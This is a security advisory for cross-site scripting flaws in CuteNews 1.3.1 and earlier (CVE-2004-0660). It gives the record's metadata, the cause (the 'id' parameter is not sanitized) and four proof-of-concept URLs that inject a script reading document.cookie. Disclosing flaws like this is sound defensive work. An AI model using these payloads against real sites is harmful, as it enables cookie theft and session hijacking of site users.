CuteNews Multiple Cross-site Scripting Vulnerabilities

Bugtraq ID:	10620
Class:	Input Validation Error
CVE:	CVE-2004-0660
Remote:	Yes
Local:	No
Published:	Jun 28 2004 12:00AM
Updated:	Jul 12 2009 05:16AM
Credit:	Discovery of these issues is credited to "DarkBicho" <[email protected]>.
Vulnerable:	CutePHP CuteNews 1.3.1 CutePHP CuteNews 1.3 CutePHP CuteNews 0.88
Not Vulnerable:

CuteNews Multiple Cross-site Scripting Vulnerabilities

It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

CuteNews Multiple Cross-site Scripting Vulnerabilities

The following examples are available:
http://www.example.com/show_archives.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&ucat=&&archive=&start_from=&ucat=&
http://www.example.com/show_news.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&ucat=&
http://www.example.com/example1.php?subaction=showfull&id=<script>alert(document.cookie);</script>
http://www.example.com/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script>

CuteNews Multiple Cross-site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

CuteNews Multiple Cross-site Scripting Vulnerabilities

References:

• Cross-Site Scripting CuteNews ("DarkBicho" )